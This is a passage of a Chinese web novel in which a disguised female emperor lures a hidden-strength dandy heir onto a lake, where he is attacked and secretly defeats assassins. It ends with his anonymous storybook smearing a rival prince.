“凡儿,婉茹是个好姑娘,你要懂得珍惜。快去吧,别让人家等急了。”
江凡磨磨蹭蹭地出了门,骑着马,慢悠悠地晃到了城西的碧波湖。
湖水澄澈,波光粼粼,岸边垂柳依依,景色倒是宜人。
可他哪有心思欣赏?
只想赶紧应付完差事走人。
他在约定的湖畔柳树下等了半晌,却没见到周婉如的踪影。
正当他纳闷是不是被放了鸽子,暗自窃喜准备开溜时,一个略带沙哑、有几分熟悉的男子声音在他身后响起:
“江兄?你来了?还挺准时嘛!”
江凡一愣,回过头,只见一个穿着普通青色布袍、满脸络腮胡子的汉子,正笑眯眯地看着他。
汉子身旁还跟着一个同样作寻常仆人打扮、但嘴唇上贴着两撇滑稽假胡子的瘦小男子。
这汉子…容貌普通,丢人堆里都找不出来,但那眼神…那眼神深邃明亮,带着一股威严和…戏谑?
还有他身上那股极淡的的清冽檀香气…
江凡瞳孔骤然收缩,浑身汗**倒竖!
这气味…这眼神…
女帝?
萧璇月?
她怎么会在这里?
还打扮成这副鬼样子?!
旁边那个贴假胡子的,肯定是云暮!
他吓得一个激灵,刚要行礼,却被那‘络腮胡汉子’一把扶住胳膊,阻止了他行礼的趋势。
‘络腮胡’压低声音,带着笑意:
“江兄何必多礼?此地人多眼杂,你我兄弟相称即可。”
江凡头皮发麻,舌头都打结了:
“潇…潇公子?!您…您怎么…”
他瞬间明白了!
哪有什么周婉如邀约!
分明是女帝借周婉如的名义,把他‘钓’出来的!
第067章 我们走着瞧
‘络腮胡’女帝——萧公子,哈哈一笑,拍了拍他的肩膀,甚是豪爽:
“闲来无事,出来逛逛。恰逢其会,见江兄在此,特来邀你一同乘船游湖,如何?”
她目光扫过江凡那副见了鬼的表情,眼中笑意更浓。
江凡心里把女帝翻来覆去一百遍啊一百遍,脸上却不得不挤出比哭还难看的笑容:
“萧公子相邀,小弟…小弟荣幸之至!岂敢不从?”
他偷偷四下张望,生怕被熟人看见自己和这么两个‘怪人’在一起。
“那就请吧!”
萧璇月大手一挥,领着江凡朝着湖边一艘早已准备好的的乌篷小船走去。
贴着假胡子的云暮也默默跟上。
三人上了船,船夫撑起长篙,小船缓缓驶向湖心。
江凡如坐针毡,浑身不自在,偷偷瞄着对面女帝那副粗豪的汉子扮相,心里吐槽不已:
这易容术…还不如我呢!
好歹换个好看点的啊,贴上胡子也像个假太监!
萧璇月却似乎心情颇佳,欣赏着湖光山色,随口问道:
“江兄,怎么兴趣不佳的样子?难道不是周家小姐邀你游湖,所以才这么不开心?”
江凡心里一紧,连忙摆手:
“没有没有!潇公子说笑了!能陪萧兄游湖,是在下的荣幸。”
尽管心中一百个不情愿,嘴上可不敢承认。
萧璇月闻言,意味深长地‘哦’了一声,忽然语气一转:
“哦?是吗?那以后我多邀请江兄一起游玩如何?”
江凡心中一凸,赶紧拒绝:
“萧公子别开玩笑,我有空还要多回家用功呢,可不敢每天闲逛。”
萧璇月盯着他看了半晌,直看得江凡心里发毛,才冷哼一声:
“回家用功?我看你是回家睡懒觉!”
不过,语气倒是没有任何责备。
似乎看到江凡郁闷的样子,心中就会莫名开心。
就在这时,一艘装饰极为奢华、雕梁画栋的大画舫,从不远处缓缓驶过。
画舫上丝竹管弦之声不绝于耳,甲板上站着不少衣着华丽的侍女和彪悍的侍卫,簇拥着一位锦衣玉冠、手持折扇、面容俊朗的年轻公子。
那公子正凭栏远眺,意气风发。
萧璇月的目光骤然冷了下来,低声问江凡:
“江兄,你自称纨绔,且看看,与你相比,这位公子如何?”
江凡顺着她的目光望去,看清那年轻公子的面容后,心里咯噔一下!
他虽然不认识这人,但看那排场、那气度,绝非寻常富贵子弟!
他硬着头皮,按照‘纨绔’人设回答:
“萧公子说笑了,小弟我那点败家行径,顶多算是小打小闹。这位…一看就是挥金如土、穷奢极欲的主!
小弟自愧不如!只是…京城里的纨绔,小弟大多认得,这位倒是面生得很?什么来头?”
他确实好奇。
萧璇月嘴角勾起一抹冰冷的弧度:
“靖王嫡子,萧晟。”
靖王的儿子?
江凡心中一凛!
难怪这么大排场!
旁边的云暮也压低声音补充道:
“公子,此人可不简单。看似纨绔,实则修为已至先天后期。他身边那两个看似管家仆从的老者,气息晦涩,至少是宗师初期和中期的高手护卫。”
萧璇月冷哼一声:
“靖王…果然所图不小!搜刮了多少民脂民膏,才能养出这般‘败家’的儿子,和如此多的高手!”
或许是因为心中愤怒,她最后这句话的声音略微提高了一些。
恰在此时,湖面微风,将那画舫上的喧嚣声压了下去,她这句带着明显讥讽的话,竟隐隐传了过去!
那画舫上的靖王世子萧晟,似乎听到了什么,眉头一皱,锐利的目光立刻扫了过来,落在了他们这艘寒酸的小乌篷船上。
他显然不认识易容后的女帝和云暮,但却一眼认出了穿着华贵、容貌出众的江凡!
画舫缓缓停下,甚至调转船头,朝着他们的小船靠了过来。
萧晟站在船头,居高临下,用折扇指着江凡,语气傲慢而轻蔑:
“我当是谁,原来是镇国公府的江大世子!不在你的百花楼厮混,跑到这湖上来嚼本世子的舌根?
还带着两个…不知所谓的穷酸朋友?怎么?对本世子的排场有意见?”
他显然把女帝和云暮当成了江凡的‘狐朋**’。
江凡心里骂娘,真是祸从口出!
最可恶的还是女帝招惹的麻烦,
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却要自己出面得罪小王爷。
他下意识地想怂,但眼角余光瞥见身旁女帝那冰冷的眼神,不知怎的,胆气一壮!
有陛下在身边,怕个鸟!
他索性把心一横,摆出比萧晟更嚣张的纨绔架势,吊儿郎当地回道:
“哟!我当是谁这么大排场,原来是靖王府的小王爷!怎么?许你穷奢极欲,还不许老百姓说两句了?
现在北地旱灾,多少百姓吃不上饭,小王爷您这一艘船,够多少灾民活命啊?我们说说怎么了?实话还不让人说了?”
萧晟被他这番话噎得脸色铁青,尤其是在‘外人’面前被一个有名的纨绔如此顶撞,更是怒火中烧!
“江凡!你找死!”
他厉喝一声,“给我掌嘴!”
他身后一名侍卫应声而出,身形一动,便要从大船上跃下!
赫然是一名先天巅峰的高手!
就在这时,一直沉默的云暮向前踏出一步,看似随意地挡在江凡和女帝身前。
她身上那股宗师中期高手的磅礴气息瞬间爆发而出,虽然一闪即逝,却让那跃下的侍卫身形一僵,硬生生停在了半空,脸上露出骇然之色!
萧晟也是脸色一变,惊疑不定地看着云暮和易容的女帝。
他没想到江凡身边这个貌不惊人的‘仆人’,竟然是宗师高手!
这江凡,什么时候有这等护卫了?
双方在湖面上对峙,气氛剑拔**张。
许多游湖的船只也注意到了这边的冲突,纷纷驻足观望。
萧晟脸色变幻,他毕竟不是纯粹的蠢货,在闹市湖区,众目睽睽之下,与镇国公世子冲突,还涉及到不明身份的宗师高手,绝非明智之举。
他强压怒火,死死盯着江凡,从牙缝里挤出几个字:
“好!很好!江凡!本世子记住你了!我们走着瞧!”
说完,重重一拂袖,“开船!”
那艘豪华画舫缓缓驶离,留下一道翻滚的水痕。
直到画舫远去,江凡才松了口气,感觉后背都被冷汗浸湿了。
他刚才纯属仗着女帝在身边硬撑场面。
女帝转过身,似笑非笑地看着他:
“江兄,今日很是威风嘛?就不怕靖王和小王爷日后找你算账?”
第068章 唯一的生路
江凡心里顿时咯噔一下,但嘴上却不肯认怂,嬉皮笑脸道:
“怕什么?不是有萧公子您…和您这位…高手兄弟在嘛!”
他指了指云暮。
萧璇月轻笑一声,语气带着戏谑:
“哦?可惜啊,我们是易容出来的,他们找不到。日后他们要报复,肯定找你这个明面上的镇国公世子。”
江凡脸上的笑容瞬间僵住!
对啊!
女帝和云暮能易容,他江凡可是顶着本尊的脸啊!
靖王父子收拾他一个‘纨绔世子’还不是跟玩似的?
他顿时哭丧着脸,凑近女帝,带着哭腔:
“萧公子!咱不带这样的,您可不能见死不救啊!小弟我刚才可都是为了给您出气啊!您得保护我啊!”
云暮在一旁忍着笑,也低声道:
“江…公子,方才情形,若真动起手来,对方两名宗师,属下需护持…我家公子周全,恐怕…难以兼顾于你。”
江凡一听,脸都绿了!
合着刚才自己是狐假虎威,现在老虎要跑路,留下他这只假狐狸面对饿狼?
他欲哭无泪地看着女帝:
“萧公子…那…那我现在划船追上去给小王爷道个歉…还…还来得及吗?”
女帝看着他这副怂样,终于忍不住,‘噗嗤’一声笑了出来。
尽管顶着一张粗犷的假脸,那瞬间的风华还是让江凡看呆了一瞬。
她白了江凡一眼,语气带着几分关切:
“放心吧,有朕…有我在,他们还不敢明目张胆动你。不过…你最近确实要小心些,没事少在外面晃荡。”
她顿了顿,补充道,
“尤其是…百花楼那种地方。”
江凡如蒙大赦,连连点头:
“是是是!小弟一定谨记萧公子教诲!绝不再惹是生非!”
心里却想:要不是你用这种奇葩方式‘邀请’我出来,我能得罪小王爷吗?
湖面重归平静,只余下乌篷小船在微风中轻轻摇晃。
萧璇月望着那远去的奢华画舫,又看了看碧波荡漾的湖面与远处嬉戏的寻常百姓船只,轻轻叹了口气,眸中流露出一丝忧思与向往:
“若是天下太平,四海富足,百姓皆能安居乐业,闲暇时也能如这般泛舟湖上,享受清风明月,该有多好。”
她这话似是自言自语,又似是说给身旁的两人听。
江凡闻言,心中微微一动。
他何尝不知民生多艰?
系统商城里,高产作物种子、先进农具图纸、甚至基础工业技术应有尽有,若真能推广开来,让百姓吃饱穿暖并非难事。
可…怎么拿出来?
凭他一个纨绔世子的身份?
还是靠那个神出鬼没的‘逍遥公子’马甲?
没有足够实力之前,怀璧其罪,风险太大。
他只能跟着叹了口气,含糊应道:
“萧公子心怀天下,令人敬佩。只盼…真有那么一天吧。”
心中却暗下决心,等实力足够自保,定要想办法将这些利国利民的东西‘合理’地拿出来。
萧璇月侧过头,目光落在江凡那微微蹙眉、似在认真思索的侧脸上,心中不由一动。
这小子…每次提到民生疾苦,他似乎总有种异样的专注?
难道他真有办法?
联想到他之前献上的治水、治天花、救荒之策,她心中顿时有些期待:或许,明天的话本里,又会有惊喜?
就在这短暂的宁静时刻,一直凝神戒备的云暮突然脸色剧变,低喝一声:
“小心!水下有异!”
几乎在同一时间,已是宗师初期的江凡也敏锐地感知到船底传来数道凌厉的杀机!
目标——直指他们三人!
不,更准确地说,是锁定了他江凡!
是靖王的人!
报复来得这么快?
江凡心头一凛!
他瞬间判断出,来袭者至少有两名宗师!
其余皆是先天好手!
这等阵容,显然是下了血本,务求一击必杀!
电光石火间,江凡脑中念头飞转!
暴露实力?
不行!
那等于自绝后路!
可不暴露…难道等死?
“保护公子先走!”
云暮反应极快,一把抓住萧璇月的胳膊,周身宗师中期的磅礴真气轰然爆发,就要带着女帝冲
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天而起,御空遁走!
这是最稳妥的选择,以她的修为,带着一人突围尚有希望。
“带上他!”
萧璇月却急声喊道,目光焦急地看向江凡。
她虽然知道江凡在藏拙,肯定有修为在身,但绝不愿看他因自己而涉险殒命。
“陛下!敌人有备而来,水下凶险未知!带着他,属下恐难护您周全!”
云暮语气急促,带着不容置疑的决绝。
在她心中,女帝的安危高于一切!
就在这僵持的刹那,江凡做出了决定!
他不能连累女帝!
更不能暴露实力!
唯一的生路,在水下!
“萧公子!云…大哥!你们快走!不用管我!”
江凡大吼一声,脸上适时地露出‘惊慌失措’却又带着几分‘义气’的表情,
“我水性好!从水下走!他们目标是我,不会死追你们的!”
话音未落,他心念急动:【系统!兑换神级水性!】
一万点人气值瞬间扣除,浩瀚的水性知识与本能融入四肢百骸!
下一刻,在云暮和萧璇月惊愕的目光中,江凡一个猛子扎进了湖水之中,瞬间消失在湖水里!
“江凡!”
萧璇月失声惊呼,心猛地揪紧!
一种从没有出现过的恐慌将她笼罩,生怕江凡发生什么意外。
几乎就在江凡入水的同一时间,‘哗啦’几声水响,五道黑色的身影破水而出,手中兵刃闪烁着寒光,直扑小船!
为首两人气息浑厚,赫然都是宗师修为!
一名中期,一名初期!
另外三人亦是先天巅峰!
他们的目标明确,见江凡跳水,其中四名黑衣人毫不犹豫,紧跟着扎入水中,朝着江凡消失的方向急速追去!
只剩下一名先天巅峰的黑衣人,挥刀斩向小船,意在阻拦云暮和萧璇月。
“找死!”
云暮凤目含煞,玉手一拍,一道凝练的掌风呼啸而出!
“嘭!”
那名先天巅峰黑衣人连惨叫都未及发出,便被这含怒一掌震得筋断骨折,吐血倒飞出去,重重砸在湖面上,生死不知。
第069章 你也是宗师
“陛下!我们走!”
云暮一击得手,毫不恋战,揽住萧璇月的腰肢,足尖在船头一点,身形如轻燕般腾空而起,向着最近的湖岸疾掠而去!
那留在船上的黑衣人不过是螳臂挡车,根本无法阻挡。
萧璇月被云暮带着飞起,目光却死死盯着下方重归平静的湖面,心中充满了担忧与自责。
江凡…他水性再好,又如何是两名宗师、两名先天巅峰的对手?
“云暮!放我下去!你去救他!”
萧璇月急声道,她知道自己修为已至先天巅峰圆满,随时可入宗师,并非毫无自保之力。
“陛下!水下情况不明,太过凶险!您的安危重于一切!”
云暮语气坚决,速度更快。
“这是命令!”
萧璇月声音陡然转厉,带着帝王威仪,
“江凡若因朕而死,朕心难安!快去!朕自有分寸!”
云暮身形一滞,感受到女帝决绝的态度,一咬牙:
“陛下保重!属下速去速回!”
她将萧璇月稳妥地送至一处僻静的岸边芦苇丛中,叮嘱道:
“陛下在此隐匿,万万不可现身!”
说完,身形一转,如同一道利箭,再次射向湖心,神识全力展开,搜索着水下的动静。
……
与此同时,冰冷的湖水之下。
江凡如同化身水神,【神级水性】让他与湖水融为一体,动作流畅自如,速度快得惊人。
他故意将气息压制在先天初期左右,装作仓皇逃窜的样子,引诱着身后的追兵。
四名黑衣人紧追不舍,尤其是那名宗师中期的高手,速度最快,不断拉近距离。
另外一名宗师初期和两名先天巅峰则稍稍落后。
“小子!哪里跑!”
宗师中期黑衣人传音喝道,一道凌厉的指风隔水射来,带着刺骨的寒意。
江凡身形诡异地一扭,险之又险地避开指风,同时反手一挥,一道蕴含真气的暗流悄无声息地涌向身后稍远的那两名先天巅峰黑衣人。
在水中,行动和实力都大打折扣,但江凡凭借神级水性,还有高出他们的修为,对付起来也轻轻松松。
“噗!噗!”
那两名先天巅峰黑衣人正全力追赶,猝不及防被暗流击中胸口,顿时脏腑碎裂,口鼻溢血,瞬间失去了生机,尸体缓缓下沉。
解决杂鱼,减少干扰!
“嗯?有点门道!”
宗师中期黑衣人眼中闪过一丝诧异,但并未太在意,只当是江凡运气好或者有什么奇特的水下技巧。
他速度再增,五指成爪,带着撕裂水流的气势,抓向江凡后心!
另一名宗师初期黑衣人也从侧翼包抄而来,封住江凡的去路。
眼看陷入前后夹击之境,江凡眼中寒光一闪!
不能再藏了!
必须速战速决!
他猛地转身,面对宗师中期黑衣人的利爪,不闪不避,体内《混元一气诀》疯狂运转,大宗师初期的雄浑真气瞬间爆发!
右拳紧握,朴实无华地一拳轰出!
拳爪相交!
“轰——!”
一股恐怖的气劲以两人为中心炸开,湖面之上顿时掀起数尺高的浪头!
周围的湖水被瞬间排开,形成一个短暂的真空地带!
“什么?你也是宗师?”
那宗师中期黑衣人瞳孔骤缩,脸上写满了难以置信!
传闻镇国公生了个纨绔,文不成武不就,是镇国公府的耻辱。
今日一交手,他就知道外界传言错得有多离谱!
他因为轻敌,刚刚只使用了三成力道。
猛一交手,只觉得一股无可匹敌的巨力沿着手臂汹涌袭来,整条臂骨经脉瞬间被震断!
他狂喷一口鲜血,身形倒飞出去!
而江凡也不好受,硬接宗师中期全力一击,虽然全力出手占优,但也气血翻腾,喉头一甜。
但他强压下不适,身形借力急退,正好迎上了从侧翼杀来的那名宗师初期黑衣人!
那宗师初期黑衣人见同伴被一拳重创,吓得魂飞魄散,哪里还有战意,转身就想逃!
“想走?晚了!”
江凡眼神冰冷,心念急动:
【系统!兑换暗器精通(大宗师级)!兑换淬毒陨铁针一盒!】
人气值再次锐减!
刹那间,暗器手法奥义涌入脑海,一盒细如牛毛、闪烁着幽蓝寒光的**出现在
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他指间!
在水中,这种细小、阻力极小的暗器,威力倍增!
“咻咻咻——!”
数十根**如同疾风骤雨,无声无息地射向那逃窜的宗师初期黑衣人!
速度快得超出了水下的常理!
那黑衣人感受到背后致命的危机,拼命扭身挥掌格挡。
但水下身形腾挪本就不流畅,如何挡得住同阶高手发出的、蕴含剧毒的飞针?
只听一阵细微的‘噗噗’声,七八根**已然没入他的背心、后颈!
“呃啊!”
黑衣人想要发出惨嚎,却在水下变成一串气泡,只觉一股麻痹剧痛瞬间传遍全身,真气运转顿时滞涩!
宗师中期的高手眼看同伴身死,自己也负伤,在水下跟江凡打实在吃亏,于是想要跑路。
“哪里跑?”
江凡可是很记仇的人,立即出手,又是几十枚蕴含真气的银针飞出。
要是在外面,宗师高手有很多办法抵挡。
但水下,又是细如牛毛的暗器,他只能运转真气抵挡。
噗噗噗...
不出意外,好几枚银针刺入体内,真气瞬间开始滞涩。
江凡猛的贴近,伸出手一拳砸在宗师中期老者的胸口。
嘭!
老者眼一凸,嘴里吐出一串泡泡,实在不相信这么多人击杀一个纨绔,会被他反杀!
就在那宗师中期黑衣人身体开始下沉的瞬间,江凡敏锐地感知到一股强大的气息正从水面急速靠近——是云暮!
他心中一惊,来不及多想,立刻全力运转【敛息诀】,将周身气息瞬间收敛。
同时强行逆转真气,逼出一口鲜血混入湖水中,脸色瞬间变得惨白,身体也装作无力地随着暗流飘荡,一副重伤垂危的模样。
整个过程在电光石火间完成,天衣无缝。
“噗通!”
水花四溅,云暮破开水面,迅疾地潜入水下。
她神识扫过,立刻发现了漂浮在湖水中的江凡,以及周围正在缓缓下沉的四具黑衣人尸体。
她心中巨震!
四名高手,其中两名宗师,竟在如此短时间内全部毙命?
而江凡虽然看似重伤,却还活着!
第070章 哪有这么巧
云暮来不及细想,一把抓住江凡的胳膊,触手只觉得他体内真气紊乱,气息微弱,确实像是受了重创。
她不敢怠慢,足下真气喷涌,带着江凡冲出水面,几个起落便回到了女帝萧璇月藏身的岸边芦苇丛中。
“陛下!”云暮将江凡轻轻放在草地上,语气急促中带着难以置信,
“刺客…全**!江世子他…受了伤!”
萧璇月早已心急如焚,此刻见到江凡浑身湿透、脸色苍白、嘴角还残留着血迹的‘凄惨’模样,心中猛地一揪。
也顾不得帝王威仪,快步上前蹲下身子,急切地问道:
“江凡!你怎么样?伤到哪里了?!”
她下意识地伸出手想去探他的脉搏,却又意识到不妥,手僵在半空。
江凡‘虚弱’地睁开眼,看到女帝近在咫尺的绝美脸庞,心中微微一暖,但戏还是要做足。
他咳嗽了两声,气若游丝地说道:
“陛…萧公子…我…我没事…就是…就是挨了那老家伙一掌…咳咳…”
他一边说,一边暗暗调整内息,让脉搏显得浮乱无力。
“没事?都吐血了还说没事!”
萧璇月又急又气,转头对云暮道,
“快!带他回宫!传太医!”
此时心中有些懊悔,早知道就不邀请江凡出来了!
这样就不会跟小王爷起冲突,然后被他派人追杀。
要是江凡出了什么事,她心中肯定会很自责。
“是!”云暮应声,再次揽住江凡,对萧璇月道:
“陛下,此地不宜久留,我们需速离!”
萧璇月点头,施展轻功,避开人群,以最快的速度悄然返回了皇宫,直接进入了紫宸宫偏殿。
很快,太医院院判张太医被火速召来。
这位须发皆白的老太医战战兢兢地给躺在软榻上的江凡诊脉,眉头紧锁,半晌,才松开手,对着面色凝重的女帝躬身回禀:
“启禀陛下,江世子脉象浮滑紊乱,确是内腑受震之兆,应是受了不轻的内伤。不过…”
他顿了顿,脸上露出一丝疑惑,
“说来也怪,世子体内似乎有一股温和的生机在护住心脉,且那掌力…入体不深,仿佛被湖水化解了大半威力?
真是万幸!万幸啊!老臣开几副温养经脉、化瘀活血的方子,好生调养旬日,当可无碍。”
听到‘无碍’二字,萧璇月的心弦才稍稍放松,但老太医那句‘被湖水化解了大半威力’却让她和云暮交换了一个意味深长的眼神。
湖水化解宗师掌力?
这解释未免太过牵强!
“有劳张爱卿了,快去开方煎药。”
萧璇月挥挥手。
张太医连忙退下。
殿内只剩下三人。萧璇月走到榻前,看着紧闭双目的江凡,沉默片刻,才缓缓开口,声音听不出喜怒:
“江凡,今日…究竟怎么回事?那四个刺客,是何人所杀?”
江凡心里咯噔一下,知道最关键的问题来了。
他‘艰难’地睁开眼,脸上挤出一丝后怕和茫然:
“回陛下…臣…臣也不知道啊!当时水下漆黑一片,那两个宗师高手追得紧,臣挨了一掌,以为必死无疑了…
忽然…忽然就觉得身边水流有异,好像…好像有个黑影闪过,然后…然后就听到几声闷响,那追我的两个人就…就不动了!
臣当时又惊又怕,加上受伤,眼前一黑就什么都不知道了…再醒来,就在云…云大人怀里了。”
他编得合情合理,把功劳全推给了莫须有的‘神秘黑影’。
萧璇月静静地听着,凤眸深邃,看不出是否相信。
她追问道:“哦?神秘黑影?你可看清那人模样?是男是女?用的什么武功?”
江凡摇头摇得像拨浪鼓:
“没…没看清!水下太暗了,动作又快,臣只顾着逃命,哪敢细看?就感觉…感觉像个鬼影似的,唰一下就没了…”
一旁的云暮忽然开口,语气凝重:
“陛下,属下潜入水中时,确实未发现第三人踪迹。而且…那四名刺客的死状…两名先天巅峰是被刚猛掌力震碎心脉,那名宗师是**身亡。
而那名宗师中期不仅**…致命伤则是心脉被凌厉真气瞬间洞穿!下手干净利落,绝非寻常高手所能为!若真有此人,其修为…恐怕还在属下之上!”
她这话,半是陈述事实,半是提醒女帝此事蹊跷。
萧璇月目光闪烁,她自然听出了云暮的弦外之音。
一个修为可能超越宗师中期、擅长用毒、精通暗器的神秘高手,恰好出现在碧波湖,恰好救了江凡,又恰好不留下任何痕
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迹?
世上哪有这么巧的事?
她看着江凡那副‘我真的什么都不知道’的无辜表情,心中冷笑:
装!继续给朕装!
她几乎可以肯定,那‘神秘黑影’九成九就是江凡自己!
这小子,不仅才华横溢,修为竟也如此深不可测?
他到底还藏着多少秘密?
然而,眼下并非戳穿他的好时机。
萧璇月压下心中的惊涛骇浪,脸上露出恍然和庆幸的神色:
“原来如此!定是某位隐世的武林前辈恰巧再水下修炼,路见不平出手相助!江爱卿,你真是福大命大!此番大难不死,必有后福!”
她顺势下了结论,不再深究。
江凡心里长舒一口气,看来自己纨绔身份根深蒂固,女帝没有怀疑。
而且他对自己的掩息**很自信,系统出品必是精品。
外人根本看不出自己有修为,所以不会怀疑。
他连忙配合地露出感激涕零的表情:
“是是是!定是托陛下洪福!臣才能侥幸捡回一条小命!臣日后定当结草衔环,报答陛下和那位前辈的救命之恩!”
萧璇月看着他这副样子,又好气又好笑,吩咐道:
“好了,你且安心在宫中养伤。朕已让张太医开了药,一会儿让人煎好送来。
云暮,去安排一间安静的偏殿,让江爱卿好生歇息,没有朕的吩咐,任何人不得打扰。”
“臣遵旨。”
江凡‘虚弱’地应道,心里却乐开了花:因祸得福!
不但解决了刺客,还在宫里混了个‘单间’养伤?
不知道能不能趁机休养一段时间,让女帝给自己放个长假呢?
云暮领命,唤来两名心腹宫女,将江凡扶起,送往早已准备好的偏殿休息。
待江凡离开后,萧璇月的脸色瞬间沉了下来。
她走到窗边,望着窗外沉沉的夜色,凤眸中寒光闪烁。
云暮悄无声息地回到她身后,低声道:
“陛下,那四具刺客的尸体…属下派人去打捞时,已经不见了踪影。想必是靖王的人抢先一步处理干净了。”
萧璇月冷哼一声:“手脚倒快!死无对证!”
她转过身,目光锐利地看向云暮:
“云暮,以你之见,江凡的修为,究竟到了何种地步?”
第071章 他可曾离开
云暮沉吟片刻,脸色凝重的说道:
“起码是宗师,能短时间内击杀这么多高手,说不定是宗师巅峰,或者...大宗师。”
尽管心中已有猜测,但亲耳听到这个答案,萧璇月还是忍不住倒吸一口凉气!
大宗师!
那可是能与朝廷供奉的几位老祖宗平起平坐的存在!
整个大夏朝明面上的大宗师,屈指可数!
江凡…一个年仅弱冠、声名狼藉的纨绔世子…竟然是大宗师?
云暮已经是天赋异禀的,而且从小刻苦修炼才达到宗师中期。
可江凡每天勾栏听曲儿的纨绔,要是达到大宗师,这需要什么样的妖孽资质?
简直骇人听闻!
殿内陷入了一片死寂。
要是江凡听到,肯定会翻个白眼。
他就是宗师初期,之所以能有如此辉煌的战绩,一方面是兑换了满级的水性和银针暗器,另一个原因还是对方轻敌。
要是全力以赴,他水性再好,也不可能如此轻松解决这么多高手。
良久,萧璇月才吐出一口浊气,脸上非但没有恐惧,反而露出了一种棋逢对手般的玩味笑容。
“大宗师…逍遥公子…治世良才…呵呵…哈哈哈哈!”
她忽然低低地笑了起来,笑声中充满莫名的意味,
“江凡啊江凡…你可真是…给了朕一个天大的惊喜!”
她走到御案前,拿起那本还放在上面的《深宫秘恋》话本,凤眸中精光四射:
“朕现在越来越好奇了…你如此费尽心机地伪装,究竟是为了什么?怕功高震主?还是…另有图谋?”
她看向云暮,嘴角勾起一抹弧度:
“云暮,你说…他今晚,还会‘更新’吗?”
云暮垂首道:“陛下将他留在宫中,眼线众多,他若真是逍遥公子,今晚定然不敢轻举妄动。”
“朕也是这么想的。”萧璇月微微一笑,
“所以,朕偏要看看,他有没有这个胆子,在朕的眼皮子底下‘兴风作浪’!传朕口谕,加派暗卫,给朕‘守好’江世子下榻的偏殿!
一只苍蝇也不许放过!朕倒要瞧瞧,这位‘重伤’的世子爷,今晚……到底睡不睡得着!”
如果他是逍遥公子,想把更新的话本送出去,自然瞒不过宫里的眼线。
“是!陛下!”
云暮领命,心中却为江凡捏了把汗。
陛下这猫捉老鼠的游戏,是越玩越上瘾了。
而此刻,躺在偏殿柔软床榻上的江凡,听着窗外隐约增加的细微呼吸声,嘴角却勾起了一抹弧度。
女帝想监视我?
嘿嘿,怕是忘了小爷我的系统,可是能隔空投递稿件的!
今晚的更新,不仅要写,还要写得更精彩!
他心念一动:【系统,兑换文房四宝套装。】
区区几百点人气值,一套品质上乘的笔墨纸砚便出现在他手中。
他直接将宣纸铺在锦被之下,他一边写,一边在脑海中构思着今晚的‘爆款’章节。
首先,自然是报仇雪恨!
靖王老匹夫,还有你那嚣张的儿子,敢在水下阴我?
真当小爷我是泥捏的?
他在《深宫秘恋》中,将‘靖南王’的黑料升级到了前所未有的高度!
他笔走龙蛇,极尽夸张之能事,描绘‘靖南王’实乃宫中某位失势贵妃与她那身为边镇大将的‘表哥’私通所生,是个彻头彻尾的、玷污皇室血统的‘野种’!
此人自幼被秘密送入宫中,因其母族势大得以冒充皇子,实则包藏祸心,觊觎皇位已久!
他不仅暗中蓄养死士、勾结敌国,更是在朝中编织了一张庞大的暗杀网络。
凡有不顺从、或敢于质疑其出身者,无论官职大小,皆会遭遇各种‘意外’身亡,手段狠辣,令人发指!
书中还‘披露’了几桩近年来悬而未决的官员离奇死亡案,隐隐将其线索指向‘靖南王’,写得有鼻子有眼,仿佛亲见。
这一招可谓毒辣至极!
不仅从根源上否定靖王继位的合法性,更给他扣上了‘**朝廷命官’的天大罪名!
此话本一旦传播开来,靖王在民间的声望必将一落千丈,那些原本中立或摇摆的官员,也会因自身安危而对其产生极大的警惕和疏离!
就算暂时动不了他的根本,也足以让他焦头烂额,民心尽失!
写完这段,江凡只觉胸中恶气出了大半,神清气爽。
接下来,是该给女帝一点‘甜头’了。
毕竟今天遇险时,她那句‘带上他’和后来的担忧不似作伪。
而且,稳住女帝,才能更好地苟着发育。
他笔锋一转,写到‘大乾女帝’因推
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行推恩令等新政,触动了以‘靖南王’为首的旧贵族利益,遭遇了空前的压力。
朝野上下流言四起,甚至有人散播‘女主当国,天降灾异’的荒谬言论。
‘女帝’身心俱疲,深夜独自在御花园对月祈祷,祈求上苍垂怜,赐下安邦定国、解救万民之法。
就在这时,书中笔触变得玄奇起来。
写道‘女帝’诚心感动上苍,夜空中突然出现绚烂的光芒。
翌日,庄头来报,称昨晚异象下方,竟凭空生出数种前所未见的奇异作物!
其一种块茎硕大如拳,埋于土中,亩产可达数千斤;
另一种藤蔓绵延,块根甘甜可充饥;
还有一物,杆高穗大,籽粒金黄,亦堪称高产!
庄户依古法试种,果然获得惊人收获!
此乃天降祥瑞,昭示‘女帝’乃天命所归的真龙天子!
江凡将土豆、红薯、玉米的特征和大致产量融入这段‘神话’之中,既给出了作物信息,又巧妙地将‘天降祥瑞’与‘女帝正统’绑定在一起。
这无疑是为女帝送上了一份对抗流言、稳固皇权的重磅**!
当然,这也是为他日后‘献上’这些种子,埋下一个合理的伏笔——看,是老天爷赐给你的!
写完这一切,江凡仔细校对一遍,确认无误后,心中默念:
“系统,提交最新章节《深宫秘恋:天降祥瑞佑真龙,野种靖南露獠牙》。”
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
看着再次上涨的人气值,江凡满意地收起文具,翻了个身,很快便发出了均匀的
‘鼾声’,演技无可挑剔。
……
翌日,天光微亮。
紫宸宫寝殿内,萧璇月醒来后的第一件事,依旧是习惯性地伸手探向枕边。
当指尖触碰到那熟悉的书册时,她的心猛地一沉!
又来了!
还是在重重监视之下!
她立刻沉声唤道:
“暗卫!”
一道模糊的身影悄无声息地出现在殿内阴影中,单膝跪地:
“陛下。”
“昨夜偏殿,可有异动?江凡可曾离开?或有外人潜入?”
萧璇月的声音带着一丝冷厉。
第072章 破防的靖王
“回陛下,”暗卫的声音毫无波澜,
“昨夜子时至今,偏殿烛火未熄,江世子始终卧床,时而翻身,时而…鼾声如雷,并未离开。
期间除送药宫女一次进出外,并无任何外人靠近偏殿十丈之内。属下等以性命担保,绝无疏漏!”
萧璇月捏着话本的手指微微收紧,指节泛白。
没有离开?
没有外人?
那这话本…是凭空变出来的不成?
难道…逍遥公子真的另有其人?
没有人能神通广大到可以无视皇宫大内、无视数名宗师暗卫的监视,如入无人之境的地步!
这个念头让她背后升起一股寒意!
难道自己真的认错了人,江凡真的就是一个纨绔?
若真如此,此人的威胁,恐怕远超她的想象!
她强压下心中的惊疑,挥退了暗卫,深吸一口气,翻开了那本还带着夜露的话本。
开篇便是对‘靖南王’出身和罪行的猛烈抨击,言辞之尖锐,指控之严重,让她都看得心惊肉跳!
这逍遥公子,对靖王真是恨之入骨啊!
